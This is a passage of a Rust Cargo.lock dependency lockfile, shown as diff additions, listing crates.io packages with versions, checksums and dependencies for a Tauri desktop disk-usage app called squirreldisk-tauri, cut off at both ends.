+checksum = "6db3a213adf02b3bcfd2d3846bb41cb22857d131789e01df434fb7e7bc0759b7" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "356a0625f1954f730c0201cdab48611198dc6ce21f4acff55089b5a78e6e835b" +dependencies = [ + "crossbeam-channel", + "crossbeam-deque", + "crossbeam-utils", + "num_cpus", +] + +[[package]] +name = "redox_syscall" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +dependencies = [ + "bitflags", +] + +[[package]] +name = "redox_users" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +dependencies = [ + "getrandom 0.2.8", + "redox_syscall", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48aaa5748ba571fb95cd2c85c09f629215d3a6ece942baa100950af03a34f733" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.6.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848" + +[[package]] +name = "remove_dir_all" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" +dependencies = [ + "winapi", +] + +[[package]] +name = "rfd" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0149778bd99b6959285b0933288206090c50e2327f47a9c463bfdbf45c8823ea" +dependencies = [ + "block", + "dispatch", + "glib-sys", + "gobject-sys", + "gtk-sys", + "js-sys", + "lazy_static", + "log", + "objc", + "objc-foundation", + "objc_id", + "raw-window-handle", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "windows 0.37.0", +] + +[[package]] +name = "rounded-div" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "464c8fb0a126d6a0326baf6abf1aa62c2da0d5780aa781a81451d64f543f5e2f" + +[[package]] +name = "rustc_version" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0dfe2087c51c460008730de8b57e6a320782fbfb312e1f4d520e6c6fae155ee" +dependencies = [ + "semver 0.11.0", +] + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver 1.0.16", +] + +[[package]] +name = "rustix" +version = "0.36.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fdebc4b395b7fbb9ab11e462e20ed9051e7b16e42d24042c776eca0ac81b03" +dependencies = [ + "bitflags", + "errno", + "io-lifetimes", + "libc", + "linux-raw-sys", + "windows-sys 0.42.0", +] + +[[package]] +name = "rustversion" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5583e89e108996506031660fe09baa5011b9dd0341b89029313006d1fb508d70" + +[[package]] +name = "ryu" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b4b9743ed687d4b4bcedf9ff5eaa7398495ae14e61cba0a295704edbc7decde" + +[[package]] +name = "safemem" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schannel" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "713cfb06c7059f3588fb8044c0fad1d09e3c01d225e25b9220dbfdcf16dbb1b3" +dependencies = [ + "windows-sys 0.42.0", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "security-framework" +version = "2.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c4437699b6d34972de58652c68b98cb5b53a4199ab126db8e20ec8ded29a721" +dependencies = [ + "bitflags", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31c9bb296072e961fcbd8853511dd39c2d8be2deb1e17c6860b1d30732b323b4" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "selectors" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" +dependencies = [ + "bitflags", + "cssparser", + "derive_more", + "fxhash", + "log", + "matches", + "phf 0.8.0", + "phf_codegen", + "precomputed-hash", + "servo_arc", + "smallvec", + "thin-slice", +] + +[[package]] +name = "semver" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f301af10236f6df4160f7c3f04eec6dbc70ace82d23326abad5edee88801c6b6" +dependencies = [ + "semver-parser", +] + +[[package]] +name = "semver" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58bc9567378fc7690d6b2addae4e60ac2eeea07becb2c64b9f218b53865cba2a" +dependencies = [ + "serde", +] + +[[package]] +name = "semver-parser" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0bef5b7f9e0df16536d3961cfb6e84331c065b4066afb39768d0e319411f7" +dependencies = [ + "pest", +] + +[[package]] +name = "serde" +version = "1.0.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb7d1f0d3021d347a83e556fc4683dea2ea09d87bccdf88ff5c12545d89d5efb" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af487d118eecd09402d70a5d72551860e788df87b464af30e5ea6a38c75c541e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877c235533714907a8c2464236f5c4b2a17262ef1bd71f38f35ea592c8da6883" +dependencies = [ + "itoa 1.0.5", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a5ec9fa74a20ebbe5d9ac23dac1fc96ba0ecfe9f50f2843b52e537b10fbcb4e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa 1.0.5", + "ryu", + "serde", +] + +[[package]] +name = "serde_with" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "678b5a069e50bf00ecd22d0cd8ddf7c236f68581b03db652061ed5eb13a312ff" +dependencies = [ + "serde", + "serde_with_macros", +] + +[[package]] +name = "serde_with_macros" +version = "1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e182d6ec6f05393cc0e5ed1bf81ad6db3a8feedf8ee515ecdd369809bcce8082" +dependencies = [ + "darling 0.13.4", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serialize-to-javascript" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb" +dependencies = [ + "serde", + "serde_json", + "serialize-to-javascript-impl", +] + +[[package]] +name = "serialize-to-javascript-impl" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "servo_arc" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432" +dependencies = [ + "nodrop", + "stable_deref_trait", +] + +[[package]] +name = "sha2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82e6b795fe2e3b1e845bafcb27aa35405c4d47cdfc92af5fc8d3002f76cebdc0" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shared_child" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0d94659ad3c2137fef23ae75b03d5241d633f8acded53d672decfa0e6e0caef" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "siphasher" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bd3e3206899af3f8b12af284fafc038cc1dc2b41d1b89dd17297221c5d225de" + +[[package]] +name = "slab" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" + +[[package]] +name = "smart-default" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "133659a15339456eeeb07572eb02a91c91e9815e9cbc89566944d2c8d3efdbf6" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "soup2" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2b4d76501d8ba387cf0fefbe055c3e0a59891d09f0f995ae4e4b16f6b60f3c0" +dependencies = [ + "bitflags", + "gio", + "glib", + "libc", + "once_cell", + "soup2-sys", +] + +[[package]] +name = "soup2-sys" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "009ef427103fcb17f802871647a7fa6c60cbb654b4c4e4c0ac60a31c5f6dc9cf" +dependencies = [ + "bitflags", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "squirreldisk-tauri" +version = "0.0.0" +dependencies = [ + "cocoa", + "objc", + "parallel-disk-usage", + "raw-window-handle", + "regex", + "serde", + "serde_json", + "sysinfo", + "tauri", + "tauri-build", + "walkdir", + "window-shadows", + "window-vibrancy", + "windows-sys 0.45.0", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "state" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbe866e1e51e8260c9eed836a042a5e7f6726bb2b411dffeaa712e19c388f23b" +dependencies = [ + "loom", +] + +[[package]] +name = "string_cache" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "213494b7a2b503146286049378ce02b482200519accc31872ee8be91fa820a08" +dependencies = [ + "new_debug_unreachable", + "once_cell", + "parking_lot", + "phf_shared 0.10.0", + "precomputed-hash", + "serde", +] + +[[package]] +name = "string_cache_codegen" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro2", + "quote", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7ac893c7d471c8a21f31cfe213ec4f6d9afeed25537c772e08ef3f005f8729e" +dependencies = [ + "strum_macros", +] + +[[package]] +name = "strum_macros" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "339f799d8b549e3744c7ac7feb216383e4005d94bdb22561b3ab8f3b808ae9fb" +dependencies = [ + "heck 0.3.3", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "syn" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f4064b5b16e03ae50984a5a8ed5d4f8803e6bc1fd170a3cda91a1be4b18e3f5" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sysinfo" +version = "0.27.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "975fe381e0ecba475d4acff52466906d95b153a40324956552e027b2a9eaa89e" +dependencies = [ + "cfg-if", + "core-foundation-sys", + "libc", + "ntapi", + "once_cell", + "rayon", + "winapi", +] + +[[package]] +name = "system-deps" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18db855554db7bd0e73e06cf7ba3df39f97812cb11d3f75e71c39bf45171797e" +dependencies = [ + "cfg-expr 0.9.1", + "heck 0.3.3", + "pkg-config", + "toml", + "version-compare 0.0.11", +] + +[[package]] +name = "system-deps" +version = "6.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2955b1fe31e1fa2fbd1976b71cc69a606d7d4da16f6de3333d0c92d51419aeff" +dependencies = [ + "cfg-expr 0.11.0", + "heck 0.4.0", + "pkg-config", + "toml", + "version-compare 0.1.1", +] + +[[package]] +name = "tao" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac8e6399427c8494f9849b58694754d7cc741293348a6836b6c8d2c5aa82d8e6" +dependencies = [ + "bitflags", + "cairo-rs", + "cc", + "cocoa", + "core-foundation", + "core-graphics", + "crossbeam-channel", + "dispatch", + "gdk", + "gdk-pixbuf", + "gdk-sys", + "gdkx11-sys", + "gio", + "glib", + "glib-sys", + "gtk", + "image", + "instant", + "jni", + "lazy_static", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "objc", + "once_cell", + "parking_lot", + "paste", + "png", + "raw-window-handle", + "scopeguard", + "serde", + "unicode-segmentation", + "uuid 1.2.2", + "windows 0.39.0", + "windows-implement", + "x11-dl", +] + +[[package]] +name = "tar" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b55807c0344e1e6c04d7c965f5289c39a8d94ae23ed5c0b57aabac549f871c6" +dependencies = [ + "filetime", + "libc", + "xattr", +] + +[[package]] +name = "tauri" +version = "1.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe7e0f1d535e7cbbbab43c82be4fc992b84f9156c16c160955617e0260ebc449" +dependencies = [ + "anyhow", + "attohttpc", + "base64", + "cocoa", + "dirs-next", + "embed_plist", + "encoding_rs", + "flate2", + "futures-util", + "glib", + "glob", + "gtk", + "heck 0.4.0", + "http", + "ignore", + "minisign-verify", + "notify-rust", + "objc", + "once_cell", + "open", + "os_info", + "os_pipe", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "regex", + "rfd", + "semver 1.0.16", + "serde", + "serde_json", + "serde_repr", + "serialize-to-javascript", + "shared_child", + "state", + "tar", + "tauri-macros", + "tauri-runtime", + "tauri-runtime-wry", + "tauri-utils", + "tempfile", + "thiserror", + "time", + "tokio", + "url", + "uuid 1.2.2", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", + "zip", +] + +[[package]] +name = "tauri-build" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8807c85d656b2b93927c19fe5a5f1f1f348f96c2de8b90763b3c2d561511f9b4" +dependencies = [ + "anyhow", + "cargo_toml", + "heck 0.4.0", + "json-patch", + "semver 1.0.16", + "serde_json", + "tauri-utils", + "winres", +] + +[[package]] +name = "tauri-codegen" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14388d484b6b1b5dc0f6a7d6cc6433b3b230bec85eaa576adcdf3f9fafa49251" +dependencies = [ + "base64", + "brotli", + "ico", + "json-patch", + "plist", + "png", + "proc-macro2", + "quote", + "regex", + "semver 1.0.16", + "serde", + "serde_json", + "sha2", + "tauri-utils", + "thiserror", + "time", + "uuid 1.2.2", + "walkdir", +] + +[[package]] +name = "tauri-macros" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "069319e5ecbe653a799b94b0690d9f9bf5d00f7b1d3989aa331c524d4e354075" +dependencies = [ + "heck 0.4.0", + "proc-macro2", + "quote", + "syn", + "tauri-codegen", + "tauri-utils", +] + +[[package]] +name = "tauri-runtime" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c507d954d08ac8705d235bc70ec6975b9054fb95ff7823af72dbb04186596f3b" +dependencies = [ + "gtk", + "http", + "http-range", + "rand 0.8.5", + "raw-window-handle", + "serde", + "serde_json", + "tauri-utils", + "thiserror", + "uuid 1.2.2", + "webview2-com", + "windows 0.39.0", +] + +[[package]] +name = "tauri-runtime-wry" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36b1c5764a41a13176a4599b5b7bd0881bea7d94dfe45e1e755f789b98317e30" +dependencies = [ + "cocoa", + "gtk", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "tauri-runtime", + "tauri-utils", + "uuid 1.2.2", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", + "wry", +] + +[[package]] +name = "tauri-utils" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5abbc109a6eb45127956ffcc26ef0e875d160150ac16cfa45d26a6b2871686f1" +dependencies = [ + "brotli", + "ctor", + "glob", + "heck 0.4.0", + "html5ever", + "infer", + "json-patch", + "kuchiki", + "memchr", + "phf 0.10.1", + "proc-macro2", + "quote", + "semver 1.0.16", + "serde", + "serde_json", + "serde_with", + "thiserror", + "url", + "walkdir", + "windows 0.39.0", +] + +[[package]] +name = "tauri-winrt-notification" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c58de036c4d2e20717024de2a3c4bf56c301f07b21bc8ef9b57189fce06f1f3b" +dependencies = [ + "quick-xml 0.23.1", + "strum", + "windows 0.39.0", +] + +[[package]] +name = "tempfile" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" +dependencies = [ + "cfg-if", + "fastrand", + "libc", + "redox_syscall", + "remove_dir_all", + "winapi", +] + +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", +] + +[[package]] +name = "termcolor" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "terminal_size" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb20089a8ba2b69debd491f8d2d023761cbf196e999218c591fa1e7e15a21907" +dependencies = [ + "rustix", + "windows-sys 0.42.0", +] + +[[package]] +name = "text-block-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8b59b4da1c1717deaf1de80f0179a9d8b4ac91c986d5fd9f4a8ff177b84049" + +[[package]] +name = "thin-slice" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" + +[[package]] +name = "thiserror" +version = "1.0.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a9cd18aa97d5c45c6603caea1da6628790b37f7a34b6ca89522331c5180fed0" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fb327af4685e4d03fa8cbcf1716380da910eeb2bb8be417e7f9fd3fb164f36f" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thread_local" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5516c27b78311c50bf42c071425c560ac799b11c30b31f87e3081965fe5e0180" +dependencies = [ + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a561bf4617eebd33bca6434b988f39ed798e527f51a1e797d0ee4f61c0a38376" +dependencies = [ + "itoa 1.0.5", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd" + +[[package]] +name = "time-macros" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d967f99f534ca7e495c575c62638eebc2898a8c84c119b89e250477bc4ba16b2" +dependencies = [ + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" + +[[package]] +name = "tokio" +version = "1.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a12a59981d9e3c38d216785b0c37399f6e415e8d0712047620f189371b0bb" +dependencies = [ + "autocfg", + "bytes", + "memchr", + "num_cpus", + "pin-project-lite", + "windows-sys 0.42.0", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_datetime" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4553f467ac8e3d374bc9a177a26801e5d0f9b211aa1673fb137a403afd1c9cf5" + +[[package]] +name = "toml_edit" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56c59d8dd7d0dcbc6428bf7aa2f0e823e26e43b3c9aca15bbc9475d23e5fa12b" +dependencies = [ + "indexmap", + "nom8", + "toml_datetime", +] + +[[package]] +name = "tracing" +version = "0.1.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +dependencies = [ + "cfg-if", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4017f8f45139870ca7e672686113917c71c7a6e02d4924eda67186083c03081a" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922" +dependencies = [ + "lazy_static", + "log", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6176eae26dd70d0c919749377897b54a9276bd7061339665dd68777926b5a70" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "treediff" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "761e8d5ad7ce14bb82b7e61ccc0ca961005a275a060b9644a2431aa11553c2ff" +dependencies = [ + "serde_json", +] + +[[package]] +name = "typenum" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" + +[[package]] +name = "ucd-trie" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e79c4d996edb816c91e4308506774452e55e95c3c9de07b6729e17e15a5ef81" + +[[package]] +name = "unicode-bidi" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54675592c1dbefd78cbd98db9bacd89886e1ca50692a0692baefffdeb92dd58" + +[[package]] +name = "unicode-ident" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fdbf052a0783de01e944a6ce7a8cb939e295b1e7be835a1112c3b9a7f047a5a" + +[[package]] +name = "unicode-width" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" + +[[package]] +name = "url" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "uuid" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" + +[[package]] +name = "uuid" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "422ee0de9031b5b948b97a8fc04e3aa35230001a722ddd27943e0be31564ce4c" +dependencies = [ + "getrandom 0.2.8", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version-compare" +version = "0.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c18c859eead79d8b95d09e4678566e8d70105c4e7b251f707a03df32442661b" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "walkdir" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" +dependencies = [ + "same-file", + "winapi", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = 